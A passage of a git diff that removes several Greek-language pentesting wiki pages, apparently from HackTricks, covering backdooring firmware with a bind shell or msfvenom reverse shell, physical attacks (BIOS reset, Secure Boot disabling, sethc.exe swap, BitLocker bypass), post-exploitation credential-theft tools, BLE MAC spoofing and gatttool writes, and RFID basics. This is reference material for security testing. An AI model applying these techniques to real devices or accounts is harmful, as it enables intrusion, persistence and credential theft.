ανέβουν για να εκμεταλλευτούν αδυναμίες στην ακεραιότητα ή την επαλήθευση υπογραφής**. Τα παρακάτω βήματα μπορούν να ακολουθηθούν για τη μεταγλώττιση backdoor bind shell: - -1. Το firmware μπορεί να εξαχθεί χρησιμοποιώντας το firmware-mod-kit (FMK). -2. Η αρχιτεκτονική και η εντολή του στόχου firmware θα πρέπει να προσδιοριστούν. -3. Ένας cross compiler μπορεί να κατασκευαστεί χρησιμοποιώντας το Buildroot ή άλλες κατάλληλες μεθόδους για το περιβάλλον. -4. Η backdoor μπορεί να κατασκευαστεί χρησιμοποιώντας τον cross compiler. -5. Η backdoor μπορεί να αντιγραφεί στον κατάλογο /usr/bin του εξαχθέντος firmware. -6. Το κατάλληλο δυαδικό QEMU μπορεί να αντιγραφεί στο rootfs του εξαχθέντος firmware. -7. Η backdoor μπορεί να προσομοιωθεί χρησιμοποιώντας chroot και QEMU. -8. Η backdoor μπορεί να προσπελαστεί μέσω netcat. -9. Το δυαδικό QEMU θα πρέπει να αφαιρεθεί από το rootfs του εξαχθέντος firmware. -10. Το τροποποιημένο firmware μπορεί να επανασυσκευαστεί χρησιμοποιώντας το FMK. -11. Το backdoored firmware μπορεί να δοκιμαστεί προσομοιώνοντάς το με το εργαλείο ανάλυσης firmware (FAT) και συνδέοντας τη διεύθυνση IP και την πόρτα της backdoor του στόχου χρησιμοποιώντας το netcat. - -Εάν έχει ήδη αποκτηθεί ένα root shell μέσω δυναμικής ανάλυσης, χειρισμού bootloader ή δοκιμών ασφάλειας υλικού, μπορούν να εκτελούνται προcompiled κακόβουλες δυαδικές όπως εμφυτεύματα ή αντίστροφες θήκες. Αυτοματοποιημένα εργαλεία payload/implant όπως το Metasploit framework και το 'msfvenom' μπορούν να αξιοποιηθούν χρησιμοποιώντας τα παρακάτω βήματα: - -1. Η αρχιτεκτονική και η εντολή του στόχου firmware θα πρέπει να προσδιοριστούν. -2. Το msfvenom μπορεί να χρησιμοποιηθεί για να καθορίσει το payload στόχου, τη διεύθυνση IP του επιτιθέμενου, τον αριθμό θύρας ακρόασης, τον τύπο αρχείου, την αρχιτεκτονική, την πλατφόρμα και το αρχείο εξόδου. -3. Το payload μπορεί να μεταφερθεί στη συμβιβασμένη συσκευή και να διασφαλιστεί ότι έχει δικαιώματα εκτέλεσης. -4. Το Metasploit μπορεί να προετοιμαστεί για να διαχειριστεί τις εισερχόμενες αιτήσεις ξεκινώντας το msfconsole και ρυθμίζοντας τις ρυθμίσεις σύμφωνα με το payload. -5. Η αντίστροφη θήκη meterpreter μπορεί να εκτελεστεί στη συμβιβασμένη συσκευή. -6. Οι συνεδρίες meterpreter μπορούν να παρακολουθούνται καθώς ανοίγουν. -7. Δραστηριότητες μετά την εκμετάλλευση μπορούν να εκτελούνται. - -Εάν είναι δυνατόν, οι ευπάθειες εντός των startup scripts μπορούν να εκμεταλλευτούν για να αποκτήσουν μόνιμη πρόσβαση σε μια συσκευή κατά τη διάρκεια επανεκκινήσεων. Αυτές οι ευπάθειες προκύπτουν όταν τα startup scripts αναφέρονται, [συμβολικά συνδέονται](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), ή εξαρτώνται από κώδικα που βρίσκεται σε μη αξιόπιστες τοποθεσίες που έχουν προσαρτηθεί, όπως κάρτες SD και flash volumes που χρησιμοποιούνται για την αποθήκευση δεδομένων εκτός των root file systems. - -## Αναφορές - -- Για περισσότερες πληροφορίες ελέγξτε [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/physical-attacks.md b/src/physical-attacks/physical-attacks.md deleted file mode 100644 index 5722e0acf..000000000 --- a/src/physical-attacks/physical-attacks.md +++ /dev/null @@ -1,57 +0,0 @@ -# Φυσικές Επιθέσεις - -{{#include ../banners/hacktricks-training.md}} - -## Ανάκτηση Κωδικού BIOS και Ασφάλεια Συστήματος - -**Επαναφορά του BIOS** μπορεί να επιτευχθεί με διάφορους τρόπους. Οι περισσότερες μητρικές πλακέτες περιλαμβάνουν μια **μπαταρία** που, όταν αφαιρεθεί για περίπου **30 λεπτά**, θα επαναφέρει τις ρυθμίσεις του BIOS, συμπεριλαμβανομένου του κωδικού πρόσβασης. Εναλλακτικά, μπορεί να ρυθμιστεί ένας **jumper στη μητρική πλακέτα** για να επαναφέρει αυτές τις ρυθμίσεις συνδέοντας συγκεκριμένες ακίδες. - -Για καταστάσεις όπου οι υλικές ρυθμίσεις δεν είναι δυνατές ή πρακτικές, τα **εργαλεία λογισμικού** προσφέρουν μια λύση. Η εκτέλεση ενός συστήματος από ένα **Live CD/USB** με διανομές όπως το **Kali Linux** παρέχει πρόσβαση σε εργαλεία όπως το **_killCmos_** και το **_CmosPWD_**, τα οποία μπορούν να βοηθήσουν στην ανάκτηση του κωδικού BIOS. - -Σε περιπτώσεις όπου ο κωδικός BIOS είναι άγνωστος, η λανθασμένη εισαγωγή του **τρεις φορές** θα έχει συνήθως ως αποτέλεσμα έναν κωδικό σφάλματος. Αυτός ο κωδικός μπορεί να χρησιμοποιηθεί σε ιστοσελίδες όπως το [https://bios-pw.org](https://bios-pw.org) για να ανακτηθεί πιθανώς ένας χρήσιμος κωδικός. - -### Ασφάλεια UEFI - -Για σύγχρονα συστήματα που χρησιμοποιούν **UEFI** αντί για παραδοσιακό BIOS, το εργαλείο **chipsec** μπορεί να χρησιμοποιηθεί για την ανάλυση και τροποποίηση των ρυθμίσεων UEFI, συμπεριλαμβανομένης της απενεργοποίησης του **Secure Boot**. Αυτό μπορεί να επιτευχθεί με την ακόλουθη εντολή: - -`python chipsec_main.py -module exploits.secure.boot.pk` - -### Ανάλυση RAM και Επιθέσεις Ψυχρού Εκκίνησης - -Η RAM διατηρεί δεδομένα για λίγο μετά την διακοπή ρεύματος, συνήθως για **1 έως 2 λεπτά**. Αυτή η επιμονή μπορεί να παραταθεί σε **10 λεπτά** με την εφαρμογή ψυχρών ουσιών, όπως το υγρό άζωτο. Κατά τη διάρκεια αυτής της παρατεταμένης περιόδου, μπορεί να δημιουργηθεί ένα **memory dump** χρησιμοποιώντας εργαλεία όπως το **dd.exe** και το **volatility** για ανάλυση. - -### Επιθέσεις Άμεσης Πρόσβασης Μνήμης (DMA) - -**INCEPTION** είναι ένα εργαλείο σχεδιασμένο για **φυσική χειραγώγηση μνήμης** μέσω DMA, συμβατό με διεπαφές όπως το **FireWire** και το **Thunderbolt**. Επιτρέπει την παράκαμψη διαδικασιών σύνδεσης με την επιδιόρθωση της μνήμης για να αποδεχτεί οποιονδήποτε κωδικό πρόσβασης. Ωστόσο, είναι αναποτελεσματικό κατά των συστημάτων **Windows 10**. - -### Live CD/USB για Πρόσβαση στο Σύστημα - -Η αλλαγή συστημικών δυαδικών αρχείων όπως το **_sethc.exe_** ή το **_Utilman.exe_** με ένα αντίγραφο του **_cmd.exe_** μπορεί να παρέχει μια γραμμή εντολών με δικαιώματα συστήματος. Εργαλεία όπως το **chntpw** μπορούν να χρησιμοποιηθούν για την επεξεργασία του αρχείου **SAM** μιας εγκατάστασης Windows, επιτρέποντας αλλαγές κωδικών. - -**Kon-Boot** είναι ένα εργαλείο που διευκολύνει την είσοδο σε συστήματα Windows χωρίς να γνωρίζετε τον κωδικό πρόσβασης, τροποποιώντας προσωρινά τον πυρήνα των Windows ή το UEFI. Περισσότερες πληροφορίες μπορείτε να βρείτε στο [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/). - -### Διαχείριση Χαρακτηριστικών Ασφαλείας των Windows - -#### Συντομεύσεις Εκκίνησης και Ανάκτησης - -- **Supr**: Πρόσβαση στις ρυθμίσεις BIOS. -- **F8**: Είσοδος σε λειτουργία Ανάκτησης. -- Πατώντας **Shift** μετά την μπάνερ των Windows μπορεί να παρακαμφθεί η αυτόματη σύνδεση. - -#### Συσκευές BAD USB - -Συσκευές όπως το **Rubber Ducky** και το **Teensyduino** χρησιμεύουν ως πλατφόρμες για τη δημιουργία **bad USB** συσκευών, ικανών να εκτελούν προκαθορισμένα payloads όταν συνδεθούν σε έναν υπολογιστή-στόχο. - -#### Αντίγραφο Σκιάς Όγκου - -Δικαιώματα διαχειριστή επιτρέπουν τη δημιουργία αντιγράφων ευαίσθητων αρχείων, συμπεριλαμβανομένου του αρχείου **SAM**, μέσω PowerShell. - -### Παράκαμψη Κρυπτογράφησης BitLocker - -Η κρυπτογράφηση BitLocker μπορεί ενδεχομένως να παρακαμφθεί αν ο **κωδικός ανάκτησης** βρεθεί μέσα σε ένα αρχείο memory dump (**MEMORY.DMP**). Εργαλεία όπως το **Elcomsoft Forensic Disk Decryptor** ή το **Passware Kit Forensic** μπορούν να χρησιμοποιηθούν για αυτό το σκοπό. - -### Κοινωνική Μηχανική για Προσθήκη Κωδικού Ανάκτησης - -Ένας νέος κωδικός ανάκτησης BitLocker μπορεί να προστεθεί μέσω τακτικών κοινωνικής μηχανικής, πείθοντας έναν χρήστη να εκτελέσει μια εντολή που προσθέτει έναν νέο κωδικό ανάκτησης που αποτελείται από μηδενικά, απλοποιώντας έτσι τη διαδικασία αποκρυπτογράφησης. - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/post-exploitation.md b/src/post-exploitation.md deleted file mode 100644 index 788bdae79..000000000 --- a/src/post-exploitation.md +++ /dev/null @@ -1,16 +0,0 @@ -{{#include ./banners/hacktricks-training.md}} - -## **Τοπικό l00t** - -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Αυτά τα σενάρια, εκτός από την αναζήτηση PE vectors, θα αναζητήσουν ευαίσθητες πληροφορίες μέσα στο σύστημα αρχείων. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Το **LaZagne project** είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για **να ανακτήσει πολλές κωδικούς πρόσβασης** που είναι αποθηκευμένοι σε έναν τοπικό υπολογιστή. Κάθε λογισμικό αποθηκεύει τους κωδικούς πρόσβασης του χρησιμοποιώντας διαφορετικές τεχνικές (καθαρού κειμένου, APIs, προσαρμοσμένους αλγόριθμους, βάσεις δεδομένων, κ.λπ.). Αυτό το εργαλείο έχει αναπτυχθεί με σκοπό να βρει αυτούς τους κωδικούς πρόσβασης για το πιο κοινά χρησιμοποιούμενο λογισμικό. - -## **Εξωτερικές Υπηρεσίες** - -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Αυτό το Module θα συνδεθεί με το API του Confluence χρησιμοποιώντας ένα access token, θα εξάγει σε PDF και θα κατεβάσει τα έγγραφα του Confluence στα οποία έχει πρόσβαση ο στόχος. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Εργαλείο Red Team για την εξαγωγή αρχείων από το Google Drive ενός στόχου που έχετε πρόσβαση, μέσω του Google Drive API. Αυτό περιλαμβάνει όλα τα κοινά αρχεία, όλα τα αρχεία από κοινά drives και όλα τα αρχεία από drives τομέα στα οποία έχει πρόσβαση ο στόχος. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Εργαλείο Red Team για την εξαγωγή του Google People Directory της στοχοθετημένης οργάνωσης που έχετε πρόσβαση, μέσω του Google People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Αυτό είναι ένα εργαλείο που αναπτύχθηκε σε Python και χρησιμοποιεί τα εγγενή APIs του Slack για να εξάγει 'ενδιαφέρουσες' πληροφορίες από έναν χώρο εργασίας Slack δεδομένου ενός access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Το Slackhound είναι ένα εργαλείο γραμμής εντολών για τις κόκκινες και μπλε ομάδες για να εκτελούν γρήγορα αναγνώριση ενός χώρου εργασίας/οργάνωσης Slack. Το Slackhound καθιστά τη συλλογή χρηστών, αρχείων, μηνυμάτων κ.λπ. μιας οργάνωσης γρήγορα αναζητήσιμη και μεγάλα αντικείμενα γράφονται σε CSV για offline ανασκόπηση. - -{{#include ./banners/hacktricks-training.md}} diff --git a/src/radio-hacking/README.md b/src/radio-hacking/README.md deleted file mode 100644 index 316a2bc62..000000000 --- a/src/radio-hacking/README.md +++ /dev/null @@ -1 +0,0 @@ -# Ραδιοφωνική Χάκινγκ diff --git a/src/radio-hacking/low-power-wide-area-network.md b/src/radio-hacking/low-power-wide-area-network.md deleted file mode 100644 index ead8f3654..000000000 --- a/src/radio-hacking/low-power-wide-area-network.md +++ /dev/null @@ -1,16 +0,0 @@ -# Δίκτυο Χαμηλής Ικανότητας Ευρείας Περιοχής - -{{#include ../banners/hacktricks-training.md}} - -## Εισαγωγή - -**Δίκτυο Χαμηλής Ικανότητας Ευρείας Περιοχής** (LPWAN) είναι μια ομάδα ασύρματων, χαμηλής κατανάλωσης, τεχνολογιών ευρείας περιοχής σχεδιασμένων για **μακρινές επικοινωνίες** με χαμηλό ρυθμό μετάδοσης.\ -Μπορούν να φτάσουν περισσότερα από **έξι μίλια** και οι **μπαταρίες** τους μπορούν να διαρκέσουν έως **20 χρόνια**. - -Long Range (**LoRa**) είναι δημοφιλές σε πολλές χώρες και έχει μια ανοιχτού κώδικα προδιαγραφή που ονομάζεται **LoRaWAN**. - -### LPWAN, LoRa, και LoRaWAN - -[https://github.com/IOActive/laf](https://github.com/IOActive/laf) - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md b/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md deleted file mode 100644 index 531b1f80c..000000000 --- a/src/radio-hacking/pentesting-ble-bluetooth-low-energy.md +++ /dev/null @@ -1,65 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -# Εισαγωγή - -Διαθέσιμο από την προδιαγραφή Bluetooth 4.0, το BLE χρησιμοποιεί μόνο 40 κανάλια, καλύπτοντας τη συχνότητα από 2400 έως 2483.5 MHz. Σε αντίθεση, το παραδοσιακό Bluetooth χρησιμοποιεί 79 κανάλια στην ίδια περιοχή. - -Οι συσκευές BLE επικοινωνούν στέλνοντας **πακέτα διαφήμισης** (**beacons**), αυτά τα πακέτα μεταδίδουν την ύπαρξη της συσκευής BLE σε άλλες κοντινές συσκευές. Αυτές οι beacons μερικές φορές **στέλνουν δεδομένα** επίσης. - -Η συσκευή που ακούει, που ονομάζεται επίσης κεντρική συσκευή, μπορεί να απαντήσει σε ένα πακέτο διαφήμισης με ένα **αίτημα SCAN** που αποστέλλεται ειδικά στη συσκευή διαφήμισης. Η **απάντηση** σε αυτή τη σάρωση χρησιμοποιεί την ίδια δομή με το **πακέτο διαφήμισης** με πρόσθετες πληροφορίες που δεν μπορούσαν να χωρέσουν στο αρχικό αίτημα διαφήμισης, όπως το πλήρες όνομα της συσκευής. - -![](<../images/image (201) (2) (1) (1).png>) - -Ο προοίμιος byte συγχρονίζει τη συχνότητα, ενώ η διεύθυνση πρόσβασης τεσσάρων byte είναι ένας **αναγνωριστικός αριθμός σύνδεσης**, που χρησιμοποιείται σε σενάρια όπου πολλές συσκευές προσπαθούν να καθιερώσουν συνδέσεις στα ίδια κανάλια. Στη συνέχεια, η Μονάδα Δεδομένων Πρωτοκόλλου (**PDU**) περιέχει τα **δεδομένα διαφήμισης**. Υπάρχουν αρκετοί τύποι PDU; οι πιο συχνά χρησιμοποιούμενοι είναι οι ADV_NONCONN_IND και ADV_IND. Οι συσκευές χρησιμοποιούν τον τύπο PDU **ADV_NONCONN_IND** αν **δεν δέχονται συνδέσεις**, μεταδίδοντας δεδομένα μόνο στο πακέτο διαφήμισης. Οι συσκευές χρησιμοποιούν **ADV_IND** αν **επιτρέπουν συνδέσεις** και **σταματούν να στέλνουν διαφημιστικά** πακέτα μόλις έχει **καθιερωθεί** μια **σύνδεση**. - -## GATT - -Το **Γενικό Προφίλ Χαρακτηριστικών** (GATT) καθορίζει πώς η **συσκευή θα πρέπει να μορφοποιεί και να μεταφέρει δεδομένα**. Όταν αναλύετε την επιφάνεια επίθεσης μιας συσκευής BLE, συχνά θα εστιάσετε την προσοχή σας στο GATT (ή GATTs), επειδή είναι ο τρόπος με τον οποίο **ενεργοποιείται η λειτουργικότητα της συσκευής** και πώς αποθηκεύονται, ομαδοποιούνται και τροποποιούνται τα δεδομένα. Το GATT απαριθμεί τα χαρακτηριστικά, τους περιγραφείς και τις υπηρεσίες μιας συσκευής σε έναν πίνακα ως τιμές 16 ή 32 bit. Ένα **χαρακτηριστικό** είναι μια **τιμή δεδομένων** που **στέλνεται** μεταξύ της κεντρικής συσκευής και της περιφερειακής. Αυτά τα χαρακτηριστικά μπορούν να έχουν **περιγραφείς** που **παρέχουν πρόσθετες πληροφορίες σχετικά με αυτά**. Τα **χαρακτηριστικά** συχνά **ομαδοποιούνται** σε **υπηρεσίες** αν σχετίζονται με την εκτέλεση μιας συγκεκριμένης ενέργειας. - -# Αρίθμηση -```bash -hciconfig #Check config, check if UP or DOWN -# If DOWN try: -sudo modprobe -c bluetooth -sudo hciconfig hci0 down && sudo hciconfig hci0 up - -# Spoof MAC -spooftooph -i hci0 -a 11:22:33:44:55:66 -``` -## GATTool - -**GATTool** επιτρέπει να **δημιουργηθεί** μια **σύνδεση** με μια άλλη συσκευή, καταγράφοντας τα **χαρακτηριστικά** της συσκευής αυτής, και διαβάζοντας και γράφοντας τις ιδιότητές της.\ -GATTTool μπορεί να εκκινήσει ένα διαδραστικό shell με την επιλογή `-I`: -```bash -gatttool -i hci0 -I -[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful -[A4:CF:12:6C:B3:76][LE]> characteristics -handle: 0x0002, char properties: 0x20, char value handle: -0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb -handle: 0x0015, char properties: 0x02, char value handle: -0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb -[...] - -# Write data -gatttool -i -b --char-write-req -n -gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps) - -# Read data -gatttool -i -b --char-read -a 0x16 - -# Read connecting with an authenticated encrypted connection -gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c -``` -## Bettercap -```bash -# Start listening for beacons -sudo bettercap --eval "ble.recon on" -# Wait some time ->> ble.show # Show discovered devices ->> ble.enum # This will show the service, characteristics and properties supported - -# Write data in a characteristic ->> ble.write ->> ble.write ff06 68656c6c6f # Write "hello" in ff06 -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/radio-hacking/pentesting-rfid.md b/src/radio-hacking/pentesting-rfid.md deleted file mode 100644 index e58995a88..000000000 --- a/src/radio-hacking/pentesting-rfid.md +++ /dev/null @@ -1,99 +0,0 @@ -# Pentesting RFID - -{{#include ../banners/hacktricks-training.md}} - -## Εισαγωγή - -**Η Αναγνώριση Ραδιοσυχνότητας (RFID)** είναι η πιο δημοφιλής λύση ραδιοσυχνότητας μικρής εμβέλειας. Χρησιμοποιείται συνήθως για την αποθήκευση και μετάδοση πληροφοριών που προσδιορίζουν μια οντότητα. - -Ένα RFID tag μπορεί να βασίζεται σε **δική του πηγή ενέργειας (ενεργό)**, όπως μια ενσωματωμένη μπαταρία, ή να λαμβάνει την ενέργειά του από την κεραία ανάγνωσης χρησιμοποιώντας το ρεύμα **που προκαλείται από τις ληφθείσες ραδιοκύματα** (**παθητικό**). - -### Κατηγορίες - -Η EPCglobal χωρίζει τα RFID tags σε έξι κατηγορίες. Ένα tag σε κάθε κατηγορία έχει όλες τις δυνατότητες που αναφέρονται στην προηγούμενη κατηγορία, καθιστώντας το συμβατό προς τα πίσω. - -- Τα **tags Class 0** είναι **παθητικά** tags που λειτουργούν σε **UHF** ζώνες. Ο προμηθευτής **τα προγραμματίζει εκ των προτέρων** στο εργοστάσιο παραγωγής. Ως αποτέλεσμα, **δεν μπορείτε να αλλάξετε** τις πληροφορίες που αποθηκεύονται στη μνήμη τους. -- Τα **tags Class 1** μπορούν επίσης να λειτουργούν σε **HF** ζώνες. Επιπλέον, μπορούν να **γραφούν μόνο μία φορά** μετά την παραγωγή. Πολλά Class 1 tags μπορούν επίσης να επεξεργάζονται **ελέγχους κυκλικής ακεραιότητας** (CRCs) των εντολών που λαμβάνουν. Οι CRCs είναι μερικά επιπλέον bytes στο τέλος των εντολών για την ανίχνευση σφαλμάτων. -- Τα **tags Class 2** μπορούν να **γραφούν πολλές φορές**. -- Τα **tags Class 3** μπορούν να περιέχουν **ενσωματωμένους αισθητήρες** που μπορούν να καταγράφουν περιβαλλοντικές παραμέτρους, όπως η τρέχουσα θερμοκρασία ή η κίνηση του tag. Αυτά τα tags είναι **ημι-παθητικά**, επειδή αν και **έχουν** μια ενσωματωμένη πηγή ενέργειας, όπως μια ενσωματωμένη **μπαταρία**, **δεν μπορούν να ξεκινήσουν** ασύρματη **επικοινωνία** με άλλα tags ή αναγνώστες. -- Τα **tags Class 4** μπορούν να ξεκινούν επικοινωνία με άλλα tags της ίδιας κατηγορίας, καθιστώντας τα **ενεργά tags**. -- Τα **tags Class 5** μπορούν να παρέχουν **ενέργεια σε άλλα tags και να επικοινωνούν με όλες τις προηγούμενες κατηγορίες tags**. Τα Class 5 tags μπορούν να λειτουργούν ως **RFID αναγνώστες**. - -### Πληροφορίες που αποθηκεύονται σε RFID Tags - -Η μνήμη ενός RFID tag συνήθως αποθηκεύει τέσσερις τύπους δεδομένων: τα **δεδομένα ταυτοποίησης**, που **προσδιορίζουν** την **οντότητα** στην οποία είναι συνδεδεμένο το tag (αυτά τα δεδομένα περιλαμβάνουν πεδία που ορίζονται από τον χρήστη, όπως τραπεζικοί λογαριασμοί); τα **συμπληρωματικά δεδομένα**, που παρέχουν **περαιτέρω** **λεπτομέρειες** σχετικά με την οντότητα; τα **δεδομένα ελέγχου**, που χρησιμοποιούνται για την εσωτερική **διαμόρφωση** του tag; και τα **δεδομένα κατασκευαστή** του tag, που περιέχουν τον Μοναδικό Αναγνωριστή του tag (**UID**) και λεπτομέρειες σχετικά με την **παραγωγή**, **τύπο** και **προμηθευτή** του tag. Θα βρείτε τους πρώτους δύο τύπους δεδομένων σε όλα τα εμπορικά tags; οι τελευταίοι δύο μπορεί να διαφέρουν ανάλογα με τον προμηθευτή του tag. - -Το πρότυπο ISO καθορίζει την τιμή του Αναγνωριστικού Οικογένειας Εφαρμογών (**AFI**), έναν κωδικό που υποδεικνύει τον **τύπο αντικειμένου** στο οποίο ανήκει το tag. Ένα άλλο σημαντικό μητρώο, που επίσης καθορίζεται από το ISO, είναι το Αναγνωριστικό Μορφής Αποθήκευσης Δεδομένων (**DSFID**), το οποίο καθορίζει την **λογική οργάνωση των δεδομένων χρήστη**. - -Οι περισσότερες **ρυθμίσεις ασφαλείας** RFID έχουν μηχανισμούς που **περιορίζουν** τις **λειτουργίες ανάγνωσης** ή **γραφής** σε κάθε μπλοκ μνήμης χρήστη και στους ειδικούς μητρώους που περιέχουν τις τιμές AFI και DSFID. Αυτοί οι **μηχανισμοί κλειδώματος** χρησιμοποιούν δεδομένα που αποθηκεύονται στη μνήμη ελέγχου και έχουν **προκαθορισμένους κωδικούς πρόσβασης** που έχουν ρυθμιστεί από τον προμηθευτή, αλλά επιτρέπουν στους κατόχους του tag να **ρυθμίσουν προσαρμοσμένους κωδικούς πρόσβασης**. - -### Σύγκριση Tags Χαμηλής & Υψηλής Συχνότητας - -
- -## Tags RFID Χαμηλής Συχνότητας (125kHz) - -**Τα tags χαμηλής συχνότητας** χρησιμοποιούνται συχνά σε συστήματα που **δεν απαιτούν υψηλή ασφάλεια**: πρόσβαση σε κτίρια, κλειδιά διασύνδεσης, κάρτες μέλους γυμναστηρίου κ.λπ. Λόγω της μεγαλύτερης εμβέλειάς τους, είναι βολικά για χρήση σε πληρωμένα πάρκινγκ: ο οδηγός δεν χρειάζεται να φέρει την κάρτα κοντά στον αναγνώστη, καθώς ενεργοποιείται από μεγαλύτερη απόσταση. Ταυτόχρονα, τα tags χαμηλής συχνότητας είναι πολύ πρωτόγονα, έχουν χαμηλό ρυθμό μεταφοράς δεδομένων. Για αυτόν τον λόγο, είναι αδύνατο να υλοποιηθεί πολύπλοκη αμφίδρομη μεταφορά δεδομένων για πράγματα όπως η διατήρηση υπολοίπου και η κρυπτογραφία. Τα tags χαμηλής συχνότητας μεταδίδουν μόνο το σύντομο ID τους χωρίς κανένα μέσο αυθεντικοποίησης. - -Αυτές οι συσκευές βασίζονται στην **παθητική** **τεχνολογία RFID** και λειτουργούν σε **εύρος 30 kHz έως 300 kHz**, αν και είναι πιο συνηθισμένο να χρησιμοποιούνται 125 kHz έως 134 kHz: - -- **Μεγάλη Εμβέλεια** — η χαμηλότερη συχνότητα μεταφράζεται σε μεγαλύτερη εμβέλεια. Υπάρχουν μερικοί αναγνώστες EM-Marin και HID, οι οποίοι λειτουργούν από απόσταση έως και ενός μέτρου. Αυτοί χρησιμοποιούνται συχνά σε πάρκινγκ αυτοκινήτων. -- **Πρωτόκολλο Πρωτόγονο** — λόγω του χαμηλού ρυθμού μεταφοράς δεδομένων, αυτά τα tags μπορούν να μεταδώσουν μόνο το σύντομο ID τους. Στις περισσότερες περιπτώσεις, τα δεδομένα δεν είναι αυθεντικοποιημένα και δεν προστατεύονται με κανέναν τρόπο. Μόλις η κάρτα είναι εντός της εμβέλειας του αναγνώστη, αρχίζει απλώς να μεταδίδει το ID της. -- **Χαμηλή Ασφάλεια** — Αυτές οι κάρτες μπορούν να αντιγραφούν εύκολα ή ακόμη και να διαβαστούν από την τσέπη κάποιου άλλου λόγω της πρωτόγονης φύσης του πρωτοκόλλου. - -**Δημοφιλή πρωτόκολλα 125 kHz:** - -- **EM-Marin** — EM4100, EM4102. Το πιο δημοφιλές πρωτόκολλο στην ΚΑΚ. Μπορεί να διαβαστεί από περίπου ένα μέτρο λόγω της απλότητάς του και της σταθερότητάς του. -- **HID Prox II** — πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την HID Global. Αυτό το πρωτόκολλο είναι πιο δημοφιλές στις δυτικές χώρες. Είναι πιο περίπλοκο και οι κάρτες και οι αναγνώστες για αυτό το πρωτόκολλο είναι σχετικά ακριβοί. -- **Indala** — πολύ παλιό πρωτόκολλο χαμηλής συχνότητας που εισήχθη από την Motorola και αργότερα αποκτήθηκε από την HID. Είναι λιγότερο πιθανό να το συναντήσετε στην πραγματικότητα σε σύγκριση με τα προηγούμενα δύο, καθώς αποσύρεται από τη χρήση. - -Στην πραγματικότητα, υπάρχουν πολύ περισσότερα πρωτόκολλα χαμηλής συχνότητας. Αλλά όλα χρησιμοποιούν την ίδια διαμόρφωση στο φυσικό επίπεδο και μπορεί να θεωρηθούν, με έναν ή άλλο τρόπο, παραλλαγές αυτών που αναφέρονται παραπάνω. - -### Επίθεση - -Μπορείτε να **επιτεθείτε σε αυτά τα Tags με το Flipper Zero**: - -{{#ref}} -../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md -{{#endref}} - -## Tags RFID Υψηλής Συχνότητας (13.56 MHz) - -**Τα tags υψηλής συχνότητας** χρησιμοποιούνται για μια πιο σύνθετη αλληλεπίδραση αναγνώστη-tag όταν χρειάζεστε κρυπτογραφία, μεγάλη αμφίδρομη μεταφορά δεδομένων, αυθεντικοποίηση κ.λπ.\ -Συνήθως βρίσκονται σε τραπεζικές κάρτες, δημόσιες συγκοινωνίες και άλλες ασφαλείς κάρτες. - -**Τα tags υψηλής συχνότητας 13.56 MHz είναι ένα σύνολο προτύπων και πρωτοκόλλων**. Συνήθως αναφέρονται ως [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), αλλά αυτό δεν είναι πάντα σωστό. Το βασικό σύνολο πρωτοκόλλων που χρησιμοποιείται σε φυσικό και λογικό επίπεδο είναι το ISO 14443. Τα πρωτόκολλα υψηλού επιπέδου, καθώς και τα εναλλακτικά πρότυπα (όπως το ISO 19092), βασίζονται σε αυτό. Πολλοί άνθρωποι αναφέρονται σε αυτήν την τεχνολογία ως **Επικοινωνία Εγγύς Πεδίο (NFC)**, ένας όρος για συσκευές που λειτουργούν στη συχνότητα 13.56 MHz. - -
- -Απλά, η αρχιτεκτονική του NFC λειτουργεί ως εξής: το πρωτόκολλο μετάδοσης επιλέγεται από την εταιρεία που κατασκευάζει τις κάρτες και υλοποιείται με βάση το χαμηλού επιπέδου ISO 14443. Για παράδειγμα, η NXP εφηύρε το δικό της πρωτόκολλο μετάδοσης υψηλού επιπέδου που ονομάζεται Mifare. Αλλά σε χαμηλότερο επίπεδο, οι κάρτες Mifare βασίζονται στο πρότυπο ISO 14443-A. - -Το Flipper μπορεί να αλληλεπιδράσει τόσο με το πρωτόκολλο ISO 14443 χαμηλού επιπέδου, όσο και με το πρωτόκολλο μεταφοράς δεδομένων Mifare Ultralight και EMV που χρησιμοποιούνται σε τραπεζικές κάρτες. Εργαζόμαστε για την προσθήκη υποστήριξης για το Mifare Classic και το NFC NDEF. Μια λεπτομερής ματιά στα πρωτόκολλα και τα πρότυπα που συνθέτουν το NFC αξίζει ένα ξεχωριστό άρθρο το οποίο σχεδιάζουμε να δημοσιεύσουμε αργότερα. - -Όλες οι κάρτες υψηλής συχνότητας που βασίζονται στο πρότυπο ISO 14443-A έχουν έναν μοναδικό αναγνωριστικό τσιπ. Λειτουργεί ως ο σειριακός αριθμός της κάρτας, όπως η διεύθυνση MAC μιας κάρτας δικτύου. **Συνήθως, το UID είναι 4 ή 7 bytes**, αλλά σπάνια μπορεί να φτάσει **έως 10**. Τα UIDs δεν είναι μυστικά και είναι εύκολα αναγνώσιμα, **μερικές φορές ακόμη και εκτυπωμένα στην κάρτα**. - -Υπάρχουν πολλά συστήματα 